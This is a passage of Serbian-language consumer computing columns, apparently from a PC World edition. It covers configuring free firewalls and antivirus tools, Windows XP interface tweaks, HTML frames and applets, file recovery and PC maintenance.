programi bezbedni a koji nisu. Lako ete prepoznati veinu uobiajenih aplikacija po imenu - Outlook, Internet Explorer i Netscape, na primer. Drugi programi nemaju tako poznata i jasna imena. Na
primer, mnoge mrene funkcije Windowsa XP opsluuje program pod imenom svchost.exe, i ni od
koga od nas ne treba oekivati da to znamo (premda znamo). Isto tako, pijunski program ili druge
neeljene napasti mogu koristiti naizgled bezbedna i poznata imena poput "pametan uvar ekrana"
to vas moe podstai da im dozvolite pristup mrei. Kako prepoznati uljeza? Prvo, odolite
iskuenju da budete popustljivi. Odbijte pristup svakom programu u koji niste sigurni - imaete
dovoljno mogunosti da se kasnije predomislite.
Ako je vae znanje o bezbednim programima tanko, odaberite zatitni zid koji prua vie informacija
o programima od pukog imena. Kerio i Sygate ne nude previe naznaka da li je program bezbedan,
a nemaju ni dodatne mogunosti. Takva "skromnost" moda odgovara strunim korisnicima, ali
novajlije e imati vie koristi od informativnijih zatitnih zidova.
ZoneAlarm prua neto vie informacija o programima, ukljuujui i vezu u dijalogu s upozorenjem
koja vodi do opisa programa na Web lokaciji Zone Labsa (SLIKA 3). ZoneAlarm se sam podeava
tako da dozvoli pristup Internet Exploreru i komponenti Windowsa XP, svchost.exe, svodei na
najmanju moguu meru broj odluka koje treba da donesete o aplikacijama prilikom pristupanja Internetu.
Outpostov iskaui dijalog podrazumevano definie trajno pravilo, ali od toga moete odstupiti
biranjem opcija Allow once ili Block once. Iako ima obilje zgodnih mogunosti, kao to su blokiranje
iskauih prozora i reklama i zatita priloga e-pote, Outpost prua vrlo malo informacija o programima.
PRECIZNO FILTRIRANJE
Kada zavrite osnovnu konfiguraciju zatitnog zida, moete promeniti, obrisati ili precizno podesiti
pravila koja ste utvrdili. Sva etiri zatitna zida sadre listu pravila ili poznatih programa.
Kerio: Desnim tasterom pritisnite ikonicu programa u sistemskoj paleti i odaberite AdministrationFirewall-Advanced. U listi poznatih programa odaberite onaj ije pravilo elite da promenite, pa
pritisnite Edit da biste otvorili dijalog Filter rule. Da biste promenili podrazumevani status programa, u dnu prozora odaberite Permit ili Deny. Ostale mogunosti doputaju da ograniite IP
adrese na udaljenom serveru i ulazne i izlazne prikljuke koje program koristi. Ako znate emu oni
slue i zbog ega biste ih podeavali, verovatno ovaj tekst itate samo zato da biste pronali
tamparske greke. Nama ostalima sasvim su dovoljna podrazumevana podeavanja. Izmene
snimite pritiskom na OK.
Outpost: Desnim tasterom mia pritisnite ikonicu programa u sistemskoj paleti i odaberite OptionsApplication. Izaberite program iz liste blokiranih, delimino dozvoljenih ili proverenih aplikacija i
pritisnite Edit. Da biste aplikaciju prebacili u neku drugu kategoriju, odaberite Always block this app
ili Always trust this app. Najbolje reenje, meutim, jeste da odaberete proverenu aplikaciju i premestite je na spisak delimino blokiranih (pritiskom na Edit i izborom opcije Create rules using
preset-Browser, na primer); na taj nain ete programu odobriti pristup Internetu, ali uz ogranieni
skup pravila. Pravilo 'browser' (u Outpost su ugraena i pravila za e-potu, kratke poruke i druge
programe) ograniava aplikaciju na nekoliko protokola za primanje i slanje podataka (TCP i UDP) i
na nekoliko prikljuaka neophodnih za Web ita, minimizujui tako tetu koju zlonamerna Web
lokacija ili e-pota u HTML formatu mogu da naine.
Sygate: Da biste promenili pravila, desnim tasterom pritisnite Sygateovu ikonicu u sistemskoj paleti
i odaberite Applications. U listi poznatih aplikacija, opet desnim tasterom pritisnite program ije
DRAGAN MARKOVIC
pravilo elite da promenite, pa odaberite Allow ili Block. Ako izaberete Ask, Sygate e vas pitati za
dozvolu svaki put kada program zatrai pristup Internetu.
ZoneAlarm: Da biste izmenili dozvole programa, desnim tasterom pritisnite ikonicu ZoneAlarma u
sistemskoj paleti i odaberite Restore ZoneAlarm Control Center. Na levoj strani izaberite Program
Control, a potom u gornjem desnom delu otvorite karticu Programs. Da biste promenili neki od etiri
parametara za svaki program (mogunost da pristupa udaljenim serverima i da se ponaa kao
server, u zonama Interenet Zone i Trusted Zone), pritisnite znak za potvrdu (doputen pristup), znak
X (blokiran pristup) ili znak pitanja (ZoneAlarm pita za dozvolu kada program zatrai pristup); potom
iz iskaueg menija odaberite novu podrazumevanu akciju.
NOVE VERZIJE
Besplatni zatitni zidovi
POTO NE GUBITE nita, a moete da dobijete mnogo, trebalo bi da na raunar instalirate neki od
sledeih zatitnih zidova.
Kerio Personal Firewall 2: Ovaj odlian besplatni zatitni zid za napredne korisnike, omoguava precizno podeavanje pravila pristupa, tako da se zabranjuje pristup ka nekim IP adresama i
prikljucima i primanje saobraaja sa njih.
2 MB; find.pcworld.com/35141
Outpost Firewall Free: Besplatan zatitni zid kompanije Agnitum ima obilje dodatnih mogunosti,
ukljuujui blokiranje iskauih prozora i reklama, filtriranje sadraja Web lokacija i priloga e-pote,
i DNS ostavu koja ubrzava krstarenje.
2,5 MB; find.pcworld.com/37817
Sygate Personal Firewall 5.1: Sygatovo spartansko okruenje omoguava precizno upravljanje
aplikacijama.
5,2 MB; find.pcworld.com/37820
Zone Alarm 3.7.202: Zatitni zid kompanije Zone Labs lako mogu da koriste i novajlije, a ima i funkciju za skeniranje e-pote.
3,6 MB; find.pcworld.com/37814
DRAGAN MARKOVIC
Nakon pojave virusa W32.Blaster, Sobig i drugih starijih pretnji, Internet nije previe bezbedno mesto.
Pored redovnog auriranja Windowsa i Internet
aplikacija, molim vas, instalirajte sve kljune alatke zatitni zid i antivirusni softver - da biste spreili
budue napade. Uz proizvode koje u opisati, dodatna
bezbednost vas nee kotati ni pare.
U prolom broju sam preporuio kvartet efikasnih
besplatnih zatitnih zidova (find.pcworld.com/38393).
Ako ste koristili neki od njih kada je Blaster napao u
avgustu, niste ni osetili njegove efekte. Besplatne
antivirusne alatke pojavile su se pre izvesnog vremena, ali ih nisam rado preporuivao jer ih organizacije za testiranje, kao to su Virus Bulletin
(http://www.virusbtn.com/) i ICSA Labs
(http://www.icsalabs.com/) nisu bile odobrile. Da bi prola testiranje koje sprovode ove laboratorije,
antivirusna alatka mora, izmeu ostalog, da zaustavi sve poznate viruse prilikom skeniranja na
zahtev (runih ili zakazanih skeniranja vrstog diska i memorije) i prilikom pristupa (upotrebom
titova koji su stalno u memoriji i blokiraju uitavanje virusa).
REZULTATI
Aurni rezultati testiranja performansi besplatnih antivirusnih programa nisu uvek lako dostupni, ali
na osnovu informacija koje sam pronaao, te alatke su prilino unapreene. Isprobao sam sva etiri
programa koje u ovde opisati - uzgred to su jedini besplatni antivirusni programi za Windows koje
sam uspeo da pronaem - i premda su AVG iz Grisofta i Alwilov Avast 4 najbogatiji mogunostima,
bez dvoumljenja mogu preporuiti bilo koji od sva etiri. Svi omoguuju automatsko auriranje
definicija virusa i odobreni su od barem jedne laboratorije za testiranje.
AVG Anti-Virus System kompanije Grisoft: AVG je proao test VB100 Windows XP laboratorije Virus
Bulletin juna 2003, nakon to je prethodno vie puta pao na ispitu; a proao je i test laboratorije
ICSA, isto juna 2003. AVG ima modul koji je sve vreme aktivan u memoriji i titi od virusa, a podrava
i skeniranje e-pote u Outlooku, Outlook Expressu, Eudori i Exchangu.
Avast 4 Home Edition kompanije Alwil: Avast je takoe proao testove VB100 i ICSA, i ima modul za
skeniranje stalno aktivan u memoriji. On, meutim, nadmauje AVG funkcijom za skeniranje pote u
Outlooku i drugim standardnim Internet klijentima koji koriste protokole POP3/SMTP, to ga ini
odlinim izborom ako koristite ita e-pote koji nije Microsoftov. Prijatno iznenauje i to to Alwil
prua i podrku putem e-pote.
AntiVir Personal Edition kompanije H+BEDV Datentechnik: Ova alatka se ne nalazi na spisku testira-
DRAGAN MARKOVIC
nih iz juna 2003. laboratorije Virus Bulletin, ali je u to vreme prola ICSA test. AntiVir ima modul za
skeniranje neprekidno aktivan u memoriji, ali mu nedostaje skeniranje e-pote (motri samo na operacije itanja datoteka i pisanja u njih i na sumnjive makroe). Pomou zasebnog modula moete zakazati skeniranje vrstih diskova i auriranje programa i baze potpisa virusa; meutim, na prvi pogled
nije jasno kako se to ini.
BitFinder Free Edition Version 7 kompanije Softwin: BitFinder Free Edition se ne nalazi na listama
rezultata testova VB100 i ICSA, ali je izdanje Standard Editon, koje koristi isto jezgro za skeniranje
kao i besplatna verzija, prolo oba testa. Kao i ostale besplatne antivirusne alatke, BitFider ima
modul za skeniranje aktivan u memoriji i podeen je da se automatski aurira, ali za razliku od programa AntiVir Personal Edition, on ne proverava e-potu prilikom slanja i primanja.
BESPLATNI ANTIVIRUSI
Alwil Avast 4 Home Edition: Ima VB100 i ICSA sertifikate; skenira prilikom pristupa i na zahtev; skenira e-potu u Outlooku i drugim POP3/SMTP klijentima; automatski se aurira; 7,1 MB.
find.pcworld.com/38561
Grisoft AVG Anti-Virus System: Ima VB100 i ICSA sertifikate; skenira prilikom pristupa i na zahtev;
skenira e-potu u Outlooku i Outlook Expressu; automatski se aurira; 5,7 MB.
find.pcworld.com/38564
H+BEDV Datentechnik AntiVir Personal Edition: Ima ICSA sertifikat; skenira prilikom pristupa i na
zahtev ali ne skenira e-potu; automatski se aurira; 3,8 MB. find.pcworld.com/38567
Softwin BitDefender Free Edition Version 7: Koristi isto jezgro za skeniranje kao i verzija Standard
Edition (koja ima VB100 i ICSA sertifikate); skenira prilikom pristupa i na zahtev, ali ne skenira
e-potu; automatski se aurira; 8,8 MB. find.pcworld.com/38570
DRAGAN MARKOVIC
Vratite Windowsu XP izgled prethodnih verzija Windowsa; povratite izgubljene ikonice s radne
povrine; aitomatsko ponovno otvaranje omotnica.
DRAGAN MARKOVIC
Podigli ste nov novcat raunar s Windowsom XP i odjednom - sve je drugaije. "Gde su moje ikonice
za brzo pokretanje?" "Zbog ega Windows prilikom ukljuivanja ne otvara omotnice koje sam
ostavio otvorene?" "Kako da uklonim stubac s leve strane prozora direktorijuma?" Microsoft je
napravio te izmene s namerom da olaka snalaenje korisnicima koji nikada nisu koristili Windows.
Iskusnijim korisnicima, meutim, promene u korisnikom okruenju od verzije do verzije samo
smetaju. Vreme, sreom, moete vratiti unazad.
Ukinite grupisanje u paleti poslova: Kada je istovremeno otvoreno nekoliko omotnica, aplikacija i
prozora itaa Weba, zasebne sesije svake kategorije smetaju se pod jedno dugme na paleti
poslova. Kada pritisnete to dugme, iz iskaueg menija moete da odaberete prozor (SLIKA 1). Ukoliko volite stari nain rada, gde za svaku otvorenu datoteku imate posebno dugme, desnim tasterom
pritisnite paletu poslova i odaberite Properties. Na kartici Taskbar, u odeljku 'Taskbar appearance',
ponitite potvrdu stavke Group similar taskbar buttons i potom pritisnite OK.
Automatsko ponovno otvaranje omotnica: Kada se u Windowsu 2000 prijavite, on e automatski
otvoriti omotnice i prozore Internet Explorera koji su bili otvoreni kada ste se odjavili sa sistema. Da
biste to postigli u Windowsu XP, otvorite bilo koju omotnicu, odaberite Tools-Folder Options-View, u
odeljku Advanced Settings oznaite Restore previous folder windows at logon i pritisnite OK.
Vratite paletu za brzo pokretanje programa: Ako je paleta za brzo pokretanje programa nestala s
palete poslova, pritisnite desnim tasterom prazan deo palete i odaberite Toolbars- Quick Launch.
Ako elite da vidite manje ili vie ikonica za brzo pokretanje programa, povucite desnu ivicu palete.
Preuredite palete alatki: Paleta poslova se nalazi na vama nepodesnom mestu? elite li da pomerite
ili promenite veliinu paleti Quick Launch, Links ili neke druge, bilo na paleti poslova ili u prozoru
direktorijuma? Ako pokuate da izmenite neki od pomenutih elemenata, primetiete da se oni u Windowsu XP nee lako dati. Reenje je jednostavno: desnim tasterom pritisnite element i ponitite
oznaku Lock the Taskbar or Lock the Toolbars (SLIKA 3). Preuredite paletu poslova i ostale palete
po svom nahoenju, a onda ponovo oznaite opciju 'lock' (ako elite) da biste speili nehotino
remeenje vaeih podeavanja.
Proterajte plavetnilo: Ako vam se ne dopadaju nova plava, maslinasta i srebrna zaglavlja prozora,
desnim tasterom pritisnite radnu povrinu i odaberite Properties-Appearance, pa iz padajueg
menija 'Windows and buttons' izaberite Windows Classic style. Ako elite da prilagodite boje, pritisnite Advanced i za svaku stavku s liste Items odaberite boju iz padajue palete, ili pritisnite Effects
pa prilagodite izgled prozora, ikonica i menija. Kada sve podesite, dva puta pritisnite OK da biste
zatvorili dijalog Display Properties.
Vratite ikonice s radne povrine: Ako vam nedostaju ikonice My Computer i My Documents, koje je
XP poistio s radne povrine, pritisnite desnim tasterom radnu povrinu, odaberite PropertiesDesktop, pritisnite Customize Desktop i na kartici General oznaite ikonice koje elite da vidite na
radnoj povrini (SLIKA 4). Dva puta pritisnite OK da biste zatvorili dijalog Display Properties.
Zakljuajte stavke u meniju Start: Novi meni Start u Windowsu XP automatski se prilagoava tako
da prikazuje spisak programa koje esto koristite. Time je pokretanje programa iz menija Start
pomou tastature (pritiskanjem prvog slova imena stavke koju elite da pokenete) prilino oteano,
jer se lista esto menja a i mnoge ikonice mogu imati isto poetno slovo. Ako vie volite stari, pouzdani (manje automatizovan) meni Start, desnim tasterom pritisnite dugme Start, odaberite
Properties-Classic Start menu i pritisnite OK.
DRAGAN MARKOVIC
Stanite na kraj skrivenim menijima: Ako eznete za menijem Start iz Windowsa 98, koji nije skrivao
retko koriene stavke dok ne pritisnete znak << u dnu menija ili ne ostavite pokaziva mia neko
vreme iznad njega, desnim tasterom pritisnite dugme Start i odaberite Properties. Na kartici Start
Menu odaberite Classic Start menu, ako ve nije oznaen, pritisnite njegovo dugme Customize, i na
dnu liste 'Advanced Start menu options' ponitite oznaku Use Personalized Menus; zatim dva puta
pritisnite OK da biste zatvorili dijaloge Taskbar i Start Menu Properties.
Prikaite meni Tools: Da biste videli meni Administrative Tools kada pritisnete Start-Programs ili
Start-All Programs, desnim tasterom pritisnite dugme Start i odaberite Properties, pa na kartici Start
Menu pritisnite odgovarajue dugme Customize (u zavisnosti od verzije, pored stavke 'Start menu'
ili 'Classic Start menu'). Ako koristite podrazumevani meni Start Windowsa XP, pritisnite Advanced
i odaberite jednu od dve opcije u odeljku System Administrative Tools u listi 'Start menu items'. U
klasinom meniju Start, u listi 'Advanced Start menu options', potvrdite Display Administrative
Tools.
Sakrijte listu uobiajenih zadataka: U starijim verzijama Windowsa, u prozorima direktorijuma ste
mogli da aktivirate prikaz Web sadraja i da im dodate okno za pregled. Ako niste bili oduevljeni tim
mogunostima, verovatno vam se nee svideti ni prostor za "uobiajene zadatke" na levoj strani
prozora direktorijuma u Windowsu XP. Da biste ga uklonili, odaberite Tools-Folder Options, a potom
na kartici General oznaite Use Windows classic folders.
Podesite omotnice po elji: Windows XP koristi razliite prikaze za razliite tipove omotnica
(Thumbnails prikaz za omotnice sa slikama, Tiles prikaz za audio datoteke itd.). Ako elite, moete
podesiti prikaz za svaku od omotnica. Uputstva potraite u rubrici Odgovori na pitanja iz avgusta
ove godine (find.pcworld.com/37670).
Prikaite ikonice u sistemskoj paleti: Nova sistemska paleta u Windowsu XP (oblast pored
asovnika) omoguava da selektivno sakrijete stavke i da ih sve prikaete jednim pritiskom na taster
mia. Ako elite da odredite koje ikonice mogu da budu skrivene, desnim tasterom pritisnite paletu
poslova i odaberite Properties. Na kartici Taskbar, u odeljku 'Notification area', ponitite oznaku
Hide inactive icons ako elite staromodni rad Windowsa, ili je pak ostavite potvrenu, a potom pritisnite oblinje dugme Customize da biste odredili status svake ikonice (SLIKA 5).
Pametnija potraga za datotekama: Kratko glasanje, molim: Kome se dopada animirani lik koji se
pojavljuje kada odaberite Start-Search, odnosno Start-Find-Files or Folders? Tako sam i mislio. Da
biste ga uklonili, u prozoru Search Results pritisnite Change preferences i potvrdite Without an
animated screen character. Da biste u velikoj meri vratili opcije za pretraivanje iz prethodnih Windowsa, pritisnite Change preferences, potom i Change files and folders search behaviour-Advanced
- include options to manually enter search criteria. Recommended for advanced users only. Pritisnite OK da biste se vratili u prozor Search Results.
PROGRAM MESECA
Utedite vreme i papir pomou PrintMagica
AKO TAMPATE ceo dokument ili Web stranu samo da biste sauvali papirnu kopiju nekoliko
redova, arite papir i mastilo. PrintMagic pojednostavljuje tampanje delova teksta iz programa za
obradu teksta, Acrobat Readera, Web itaa, i skoro svih drugih aplikacija. Odtampanom materijalu
moete da dodate beleke ili automatske vremenske oznake. Posebno korisna opcija PrintMagica je
Printboard, jer omoguava da prevuete bilo koji oznaeni tekst u zaseban prozor, i da na taj nain
napravite skupinu kratkih tekstova koje moete zajedno odtampati (ime tedite jo vie papira).
Tano je da biste isto mogli da postignete "lepljenjem" delova u programu za obradu teksta, ali stu-
DRAGAN MARKOVIC
dentima i istraivaima koji to esto ine, mogunost prevlaenja i druge olakice mogu opravdati
ulaganje od 25 USD, koliko kota registracija. Ako niste sigurni, isprobajte potpuno funkcionalnu
demo verziju, a moete je preuzeti s adrese find.pcworld.com/ 37676 ili s naeg diska.
DRAGAN MARKOVIC
Web dizajneri koriste nekoliko reenja za ovakav problem: u sredinu stranice ubacuju Java aplet koji e po
potrebi pomerati tekst i slike, ali to zahteva poznavanje
GLAVNA STRANICA je podeljena pomou okvira. jezika Java, namensko formatiranje svih sadraja koje
aplet prikazuje i, naravno, ita s virtuelnom mainom
za Javu. U sredinu stranice se moe ubaciti i Flash 'aplet', ali e to opet dovesti do slinih problema.
Odabrao sam reenje koje je neuobiajeno ali se u potpunosti oslanja na jezik HTML i koristi okvire.
Osnovnu stranicu sam pomou okvira podelio na pet manjih. Osnovna ideja je da e ita Weba
automatski omoguiti premotavanje stranica koje sadre vie podataka nego to moe da se smesti
u njihove okvire. Dakle, na glavnoj stranici se umesto sadraja nalaze samo opis okvira i spisak
stranica. Gornja i desna strana (4.htm i 5.htm) ostale su prazne, stranica s leve strane (2.htm) sadri
navigacioni meni u JavaScriptu, a donja stranica (3.htm) sadri tabelu sa znakom firme.
Da izmeu okvira osnovne stranice ne bi postojale praznine, debljine svih margina moraju se postaviti na nulu pomou atributa marginwidth="0" i marginhight="0", a traka za pomeranje se mora
izbaciti iz svih okvira sem iz centralnog. To se postie opcijom scrolling="no".
JAVA APLETI
Jezik javascript, kojim smo se bavili u nekoliko prethodnih brojeva asopisa, veoma je pogodan za
sitne nadogradnje i upravljanje Web stranicama, ali nije dovoljno bogat da bi se napravio grafiki
objekat, obavila sloena izraunavanja ili komuniciralo s bazom podataka. Za takve poslove, na Web
stranice se ubacuju posebni programii, Java Appleti. To su mali programi napisani na programskom jeziku Java koji su namenski pripremljeni za izvravanje na klijentskom raunaru.
U jeziku HTML se apleti dodaju na stranicu pomou oznake (APPLET), a njeni parametri su sledei:
(frameset framespacing="0" border="0" frameborder="0" rows="20,100%")
(frame src="4.htm" marginwidth="0" marginheight="0" scrolling="no" name="up" noresize)
(frameset cols="300,600")
(frame name="contents" target="main" scrolling="no" marginwidth="0" noresize src="2.htm")
(frameset rows="480,100*") (frameset cols="600,10*")
(frame name="main" scrolling="auto" noresize src="1.htm" target="_self")
(frame
name="main3"
src="5.htm"
marginwidth="0"
marginheight="0"
scrolling="no"
target="_self")
DRAGAN MARKOVIC
(/frameset)
(frame name="main1" src="3.htm" marginwidth="0" marginheight="0" scrolling="no" noresize
target="_self")
(/frameset)
(/frameset)
Izvorni kod poetne stranice s okvirima.
(APPLET
[CODEBASE = Adresa_koda]
CODE = Ime_datoteke
[ALT = Opis_appleta]
[NAME = Ime_Appleta]
WIDTH = piksela
HEIGHT = piksela
[ALIGN = poloaj]
[VSPACE = piksela]
[HSPACE = piksela]
)
(/APPLET)
Najvanije je navesti direktorijum prezentacije u kome se nalazi kod programa i naziv programa. Ime
direktorijuma se upisuje posle oznake CODEBASE i mora biti pod navodnicima, a nivoi direktorijuma se obeleavaju znakom '/', umesto Microsoftovim znakom ''. Ime datoteke takoe mora biti pod
navodnicima, a navodi se posle oznake CODE.
Za prikazivanje Java apleta koristi se odreena povrina na Web stranici. Njegova irina i visina se
moraju definisati atributima WIDTH i HEIGHT. Ostali parametri se, kao i u ostalim oznakama jezika
HTML, koriste za centriranje apleta na stranici i dodavanje imena i opisa objektu. Neki apleti koriste
parametre, koji se prosleuju oznakama Param.
Oni se dodaju pre oznake za kraj definicije appleta (/APPLET). Na prezentaciji www. sun.com pronai
ete aplete i dokumentaciju za programiranje na jeziku Java.
DRAGAN MARKOVIC
Povratite datoteke koje vie nisu ni u kanti za smee; odaberite program za obradu slika; zaustavite
dosadne poruke pri podizanju raunara
PONEKAD ISPRAZNIM Windowsovu kantu za smee
pre nego to shvatim da nije ni trebalo da obriem
odreenu datoteku. Ako neku datoteku obriem s
komandne linije ili je pak prevelika, ona uopte i ne
ue u kantu za smee. Mogu li da povratim takve
datoteke?
Lako je vratiti obrisanu datoteku ako se ona jo
nalazi u kanti za smee
- pritisnete je desnim tasterom i odaberete Restore.
Meutim, nije izvesno da moete povratiti obrisane
datoteke koje se u njoj vie ne nalaze. Sreom, WinSlika 1: Odaberite program za obradu slika u alatki dows ne brie nepovratno podatke sve dok ponovo
Picture and Fax Viewer Windowsa XP.
ne upotrebi prostor na disku koji je ranije zauzimala
obrisana datoteka, tako da je povraaj podataka mogu.
Pravite rezervne kopije podataka: Ako imate kopiju, neete ni morati da obnavljate original.
esto defragmentirajte vrsti disk: Uspeno obnavljanje datoteke je verovatnije ako se nalazila u
kontinualnom prostoru na vrtom disku.
Ne zapisujte nita na vrsti disk posle brisanja: Izbegavajte da snimate datoteke ili da na drugi nain
pristupate vrstom disku dok ne obnovite obrisanu datoteku. Windows smatra da je prostor koji je
zauzimala obrisana datoteka slobodan, tako da bi nove datoteke mogao da upie preko starih obrisanih.
Preporuujem vam alatku Fast File Undelete (25 USD) kompanije DTI Data, jer ona radi bez zapisivanja na vrsti disk. Preuzmite ovu alatku s nekog drugog raunara, raspakujte je na disketu koju
ete potom ubaciti u raunar u kome ste obrisali datoteku i pokrenite program. Sa adrese
find.pcworld.com/37805 moete preuzeti probnu verziju (zahteva registraciju i moe da povrati samo
datoteke manje od 15 KB), ili kupite punu verziju na adresi http://www.dtidata.com/.
TA SU .DAT DATOTEKE?
DRUGARI SU PRIMILI od mene e-potu u kojoj se nalazi datoteka winmail.dat. Da li je to virus?
Ne, to nije virus. Outlook koristi Microsoftov format za razmenu, Rich Text, koji drugi programi za
e-potu ne mogu da proitaju - ak ni Outlook Express. Kada otvorite poruku pisanu u formatu Rich
Text u nekom drugom programu, dobiete obian tekst, a u njenom prilogu e se nalaziti datoteka s
nastavkom .dat, obino pod imenom "winmail.dat". Da biste prestali da aljete poruke u formatu
Rich Text, otvorite Tools-Options-Mail Format. U Outlooku 2000 odaberite Plain Text ili HTML i pritisnite OK. U Outlooku 2002 i 2003 pritisnite dugme Internet Format, u padajuem meniju 'Outlook Rich
text options' odaberite Convert to HTML format.
DRAGAN MARKOVIC
DRAGAN MARKOVIC
Predupredite probleme
DRAGAN MARKOVIC
Proizvoai hardvera i softvera umeju da naprave raunar koji se ne moe oboriti, ali biste morali da
budete na Forbsovoj listi 100 najbogatijih ljudi na svetu da biste takav raunar priutili. Ipak, mnogo
toga i mi, proseni korisnici, moemo uraditi da bismo nae maine odrali vitalnim, spreili
usporenja i onemoguili raunarski pandan arterioskleroze.
Najjednostavniji nain da raunar zadrite zdravim jeste da izbegavate izmene: nemojte dodavati
hardver niti softver. U stvarnom svetu izmene su neizbene, a prodavci raunara su pravi majstori
za nagovaranje korisnika na dodatna unapreenja. Evo mojih zlatnih pravila za unapreivanje softvera i odravanje.
Ako nije pokvareno, nemoj ga popravljati: Premda kompanija Intuit upravo izdaje Quicken 2003, ja i
dalje koristim Quicken 98 i oboavam ga. Zato bih ita menjao?
Odravajte ustrinu softvera: Jedini izuzetak od prvog pravila jeste ograniena upotreba zastarelih
16-bitnih aplikacija. Va sistem e biti mnogo sreniji uz aplikacije namenjene dananjim 32-bitnim
operativnim sistemima. Skoro sav softver za Windows napisan u proteklih pet godina jeste 32-bitan,
ali ako niste sigurni proverite to u uputstvu ili na Web lokaciji proizvoaa.
Izbegavajte generacijska unapreenja: Nemojte kupovati softver iji se broj verzije zavrava na ".0"
- to po pravilu znai da su dodate nove mogunosti koje jo nisu valjano oiene od bubica. Ako
vam je taj softver zaista potreban, uzmite stariju verziju, na primer 2.0c ili 2.1 ako je 3.0 poslednja.
Ne samo da e sadrati manje greaka, nego e i raditi mnogo bre s obzirom na to da su pravljene
za starije maine.
Radite paljivo: Pre nego to instalirate nov softver, snimite stanje sistema tako da moete pratiti ta
je sve program za instalaciju promenio. Za pregled izmena na bazi Registry odlino e poluiti besplatna alatka RegShot (SLIKA 1). Upotrebite je neposredno pre i posle instaliranja nekog programa
da biste dobili izvetaj (u tekstualnom obliku ili kao HTML) o svim izmenama na bazi Registry tokom
instalacije. Kopiju moete preuzeti s adrese find.pcworld.com/33461 ili s naeg diska. Ako elite da
pratite kako program za instalaciju dodaje, brie ili menja datoteke na vrstom disku, a moete da
potroite neto novca, proitajte prvo odeljak Windowsove alatke u nastavku.
Odravajte raunar: Redovno odravajte sistem, ukljuujui proveru greaka na vrstom disku i
njegovu defragmentaciju. Windowsova alatka Sheduled Tasks omoguava da automatizujete
odravanje raunara. Moete koristiti alatke ugraene u Windows, ili pak s lokacije find.pcworld.
com/33464 preuzeti neku od alatki koje smo preporuili u prologodinjem majskom broju.
Spreite padove: Postoji softver za koji autori tvrde da spreava padove, odnosno da barem smanjuje njihov broj. Izmeu ostalih trikova, takvi programi presreu poruke o grekama na niskom nivou
dok putuju izmeu neke aplikacije i Windowsa, a potom pokuavaju da otklone problem pre nego
to se sistem zamrzne. Ako teta ne moe da se otkloni, programi pokuavaju da odgode pad taman
toliko da snimite datoteke na kojima radite. Jedan takav proizvod je CrashProof, deo paketa SystemSuite 4 kompanije V Communications. Paket kota 54 USD ako ga preuzmete s adrese ww.v-com.
com, odnosno 60 USD ako naruite CD (uz koji dobijate i disketu za spasavanje). Ako hoete da
nabavite jedino program za spreavanje padova, pogledajte StayAlive 2002 firme TFI Technolgy (30
USD). Tridesetodnevnu probnu kopiju moete preuzeti s adrese find.pcworld.com/33467 ili s naeg
diska.
Napravite detaljne rezervne kopije: Napisali smo to hiljadu puta, a ponoviemo opet: redovno
morate praviti rezervne kopije, a naroito pre bilo kakve sloenije izmene na raunaru. Alatka za
pravljenje rezervnih kopija koju dobijate uz Windows 2000 i XP ima polje za potvrdu pored koga pie
DRAGAN MARKOVIC
strana povremeno menja, evo uputstva koje je vailo u vreme pisanja ovoga lanka. U levom oknu
pritisnite Pick updates to install da biste otvorili tu kategoriju, ispod toga pritisnite verziju Windowsa
koju imate (ako je to Windows 9x ili 2000) ili Critical Updates and Service Packs (za Windows 2000,
servisni paket 2). U listi preporuenih unapreenja s desne strane pronaite Windows Critical
Update Notification (9x, 2000) ili Windows Automatic Updating (Windows 2000, servisni paket 2), a
potom pritisnite Add pored odgovarajue stavke. Odaberite sva poboljanja koja vam trebaju i pritisnite Review and install updates. Kada zavrite pregledanje pritisnite Install Now.
Ako ne elite da se pojavljuju upozorenja o potrebnim unapreenjima, uklonite tu funkciju: otvorite
Control Panel, dva puta pritisnite Add/Remove Programs, odaberite Microsoft Windows Critical
Update Notification i pritisnite Add/Remove, odnosno Change/Remove.
Ako koristite Windows Automatic Updating za Windows 2000 uz servisni paket 2, servisni paket 3 ili
Windows Me, automatsko nadograivanje moete iskljuiti tako to ete otvoriti Control Panel i
dvaput pritisnuti ikonicu Automatic Updates. Odaberite jednu od opcija (ja sam izabrao opciju
Notify) i pritisnite OK. U Windowsu XP, desnim tasterom pritisnite My Computer u Exploreru ili na
radnoj povrini i odaberite Properties. U dijalogu System Properties otvorite karticu Automatic
Updates i proverite da li je izabrana opcija Keep my computer up to date. (Ako niste nadograivali
XP, moda neete videti to polje za potvrdu, ali ete na raspolaganju imati sline opcije.) Odaberite
jednu od ponuenih opcija (Notify i ovde nudi najveu kontrolu) i pritisnite OK (SLIKA 4).
Windowsove alatke
Pratite izmene u sistemu programom FileWatch
PRIZNAJEM DA ne verujem veini programa za instalaciju. Da li datoteke smetaju gde ja hou ili
rasipaju "ubre" na sve strane tako da ga je teko oistiti? U svakom sluaju, program FileWatch 5
(30 USD) Kevina Girharta moe vam dati potpuni izvetaj o promenama na raunaru za samo nekoliko sekundi. Najpre napravite "katalog" svih diskova i datoteka koje elite da pratite (ukljuujui i
izmenjive medije). Kada vam zatreba izvetaj o tome ta je dodato, obrisano ili promenjeno, samo
otvorite katalog koji elite da upotrebite kao osnovu za poreenje. FileWatch moe da prati izmene
u bazi Registry i drugim datotekama. S adrese find.pcworld. com/33485 ili s naeg diska moete
preuzeti tridesetodnevnu probnu verziju.
DRAGAN MARKOVIC
Vie od dvadeset saveta koje moete da primenite kada tehnologija pokae svoju lou stranu
DRAGAN MARKOVIC
Datoteke nestaju? Veze su loe? Ne paniite! Evo ta treba da radite kada tehnologija pokae svoju
lou stranu.
ta da radite kada se raunar ponaa kao da je opsednut? Bilo da se radi o vrajem softveru ili
vrstom disku iz pakla, postoje stotine dosadnih problema koji rad na raunaru ine avolski
tekim.
Nemojte zvati isterivaa avola. Probleme uglavnom moete i sami da reite. Mi emo vam pokazati
kako da ispravite zbunjujue mrene greke, spasete ureaje koje ste sluajno ispustili u vodu, vratite grekom obrisane digitalne fotografije, ak i da oivite vrsti disk stavljajui ga u zamrziva.
Naravno, ovi trikovi nee koristiti ba svima, ali ih moete isprobati kada stvari krenu naopako. Uz
malo sree i vetine, vratiete digitalne demone tamo odakle su i doli.
DRAGAN MARKOVIC
DRAGAN MARKOVIC
DRAGAN MARKOVIC
najjednostavnije reenje je da zamenite stari vrsti disk i da sistem vratite u prethodno stanje
pomou rezervne kopije podataka. Nemate rezervnu kopiju!? Isprobajte usluge kao to je Data
RecoveryCenter kompanije Ontrack (http://www.ontrack.com/). Iako su skupe (obino preko 100
USD za spasavanje podataka s jednog diska), one su vrlo efikasne. ERD Commander 2002 (400 USD)
